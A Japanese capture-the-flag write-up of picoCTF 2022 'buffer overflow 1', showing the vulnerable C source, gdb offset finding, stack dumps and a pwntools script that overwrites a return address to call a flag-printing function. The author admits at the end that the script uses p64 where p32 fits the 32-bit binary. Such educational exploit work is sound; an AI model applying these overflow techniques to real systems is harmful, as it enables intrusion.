bofによるリターンアドレス書き換えの基礎
bofを利用してリターンアドレスを書き換える。今回はプログラム中にフラグを出力するwin
関数があったので、リターンアドレスをwin
関数のアドレスに書き換える。
とても基本的な問題だけどとても大切だし、秒でフラグがとれたから自分の基礎力の定着が確認できた。
32bitプログラムに慣れていないので少し戸惑ったが、次の記事が参考になる:
(picoCTF 2022「buffer overflow 1」の問題)
プログラムの概要
checksec
┌──(shoebill㉿shoebill)-[~/pico] └─$ checksec ./vuln [*] '/home/shoebill/pico/vuln' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments
セキュリティ機構ガバガバの32bitプログラム。
プログラムの動き
┌──(shoebill㉿shoebill)-[~/pico] └─$ ./vuln Please enter your string: aaaaaaa Okay, time to return... Fingers Crossed... Jumping to 0x804932f
文字列の入力を求められる。そして、その入力を受け付ける関数が終わってどこにリターンしたのか?そのリターン先のアドレスが「Jumping to ~」のように表示される。
ソースコード
(一部省略)
#define BUFSIZE 32 #define FLAGSIZE 64 void win() { char buf[FLAGSIZE]; FILE *f = fopen("flag.txt","r"); fgets(buf,FLAGSIZE,f); printf(buf); } void vuln(){ char buf[BUFSIZE]; gets(buf); printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", get_return_address()); } int main(int argc, char **argv){ puts("Please enter your string: "); vuln(); return 0; }
main
関数に入るとすぐvuln
関数が実行される。
vuln
関数内では例のgets
関数が実行されるので、そこでbofしてリターンアドレスをwin
関数のアドレスに書き換えてやる。
リターンアドレスまでのオフセット
gdbのパターン文字列を利用する。そしてEIPに現れる文字列に着目する。
gdb-peda$ pattc 50 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA' gdb-peda$ r Please enter your string: AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA Okay, time to return... Fingers Crossed... Jumping to 0x41414641 [----------------------------------registers-----------------------------------] EAX: 0x41 ('A') EBX: 0x61414145 ('EAAa') ECX: 0x0 EDX: 0xf7fc41c0 (0xf7fc41c0) ESI: 0xffffd044 --> 0xffffd224 ("/home/shoebill/pico/vuln") EDI: 0xf7ffcb80 --> 0x0 EBP: 0x41304141 ('AA0A') ESP: 0xffffcf60 --> 0xff004162 EIP: 0x41414641 ('AFAA') EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] Invalid $PC address: 0x41414641 [------------------------------------stack-------------------------------------] 0000| 0xffffcf60 --> 0xff004162 0004| 0xffffcf64 --> 0xf7fc3358 --> 0xf7ffdb40 --> 0xf7fc3470 --> 0xf7ffd9e0 --> 0x0 0008| 0xffffcf68 --> 0xf7fc37f0 --> 0xf7c1abb0 ("GLIBC_PRIVATE") 0012| 0xffffcf6c --> 0x3e8 0016| 0xffffcf70 --> 0xffffcf90 --> 0x1 0020| 0xffffcf74 --> 0xf7e1eff4 --> 0x21ed8c 0024| 0xffffcf78 --> 0xf7ffd020 --> 0xf7ffd9e0 --> 0x0 0028| 0xffffcf7c --> 0xf7c213b5 (add esp,0x10) [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x41414641 in ?? () gdb-peda$ patto AFAA AFAA found at offset: 44
リターンアドレスまでのオフセットは44だ。
exploit
#!/usr/bin/env python3 from pwn import * bin_file = './vuln' context.binary = bin_file binf = ELF(bin_file) addr_win = binf.symbols['win'] def attack(conn, **kwargs): payload = b'a' * 44 payload += p64(addr_win) conn.sendlineafter(b'Please enter your string:', payload) def main(): conn = process(bin_file) attack(conn) conn.interactive() if __name__ == '__main__': main()
実行結果:
┌──(shoebill㉿shoebill)-[~/pico] └─$ ./exploit.py [*] '/home/shoebill/pico/vuln' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments [+] Starting local process './vuln': pid 5199 [*] Switching to interactive mode Okay, time to return... Fingers Crossed... Jumping to 0x80491f6 picoCTF{test_flag} [*] Got EOF while reading in interactive $
ローカルでexploitのテストをする際はflag.txtの用意を忘れないように。
おまけ
gdbでスタックの様子を見てみる。
32文字を入力した時のスタックの様子(vuln
関数のgets(buf)
にブレイクポイント):
gdb-peda$ b *vuln+29 Breakpoint 1 at 0x804929e gdb-peda$ r ... [-------------------------------------code-------------------------------------] 0x8049297 <vuln+22>: sub esp,0xc 0x804929a <vuln+25>: lea eax,[ebp-0x28] 0x804929d <vuln+28>: push eax => 0x804929e <vuln+29>: call 0x8049050 <gets@plt> 0x80492a3 <vuln+34>: add esp,0x10 0x80492a6 <vuln+37>: call 0x804933e <get_return_address> 0x80492ab <vuln+42>: sub esp,0x8 0x80492ae <vuln+45>: push eax Guessed arguments: arg[0]: 0xffffcf30 --> 0xffffcf78 --> 0xf7ffd020 --> 0xf7ffd9e0 --> 0x0 ... gdb-peda$ ni AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA # 32 chars ... gdb-peda$ stack 20 0000| 0xffffcf20 --> 0xffffcf30 ('A' <repeats 32 times>) 0004| 0xffffcf24 --> 0x7d4 0008| 0xffffcf28 --> 0xf7e1fe1c --> 0xf7e1fd80 --> 0xfbad2887 0012| 0xffffcf2c --> 0x8049291 (<vuln+16>: add ebx,0x2d6f) 0016| 0xffffcf30 ('A' <repeats 32 times>) 0020| 0xffffcf34 ('A' <repeats 28 times>) 0024| 0xffffcf38 ('A' <repeats 24 times>) 0028| 0xffffcf3c ('A' <repeats 20 times>) 0032| 0xffffcf40 ('A' <repeats 16 times>) 0036| 0xffffcf44 ('A' <repeats 12 times>) 0040| 0xffffcf48 ("AAAAAAAA") 0044| 0xffffcf4c ("AAAA") 0048| 0xffffcf50 --> 0x804a000 --> 0x3 0052| 0xffffcf54 --> 0x804c000 --> 0x804bf10 --> 0x1 0056| 0xffffcf58 --> 0xffffcf78 --> 0xf7ffd020 --> 0xf7ffd9e0 --> 0x0 0060| 0xffffcf5c --> 0x804932f (<main+107>: mov eax,0x0)
以下のmain
関数のディスアセンブル結果を見ると、vuln
関数の次のアドレスが0x0804932fとわかる。つまりvuln
関数からのリターンアドレスは0x0804932f。
それに注意して上のスタックをみると、リターンアドレスに達するには0xffffcf58までを"A"で埋める必要がある。
0xffffcf50、0xffffcf54、0xffffcf58のそれぞれには"A"が4文字入るから、あと12(=3x4)文字でリターンアドレスに達する。
上では"A"を32文字入力したから、44(32+12)文字がリターンアドレスまでのオフセットとわかる。
gdb-peda$ disas main ... 0x0804932a <+102>: call 0x8049281 <vuln> 0x0804932f <+107>: mov eax,0x0 0x08049334 <+112>: lea esp,[ebp-0x8] 0x08049337 <+115>: pop ecx 0x08049338 <+116>: pop ebx 0x08049339 <+117>: pop ebp 0x0804933a <+118>: lea esp,[ecx-0x4] 0x0804933d <+121>: ret
32bitだからp64()
じゃなくてp32()
の方がいいのか...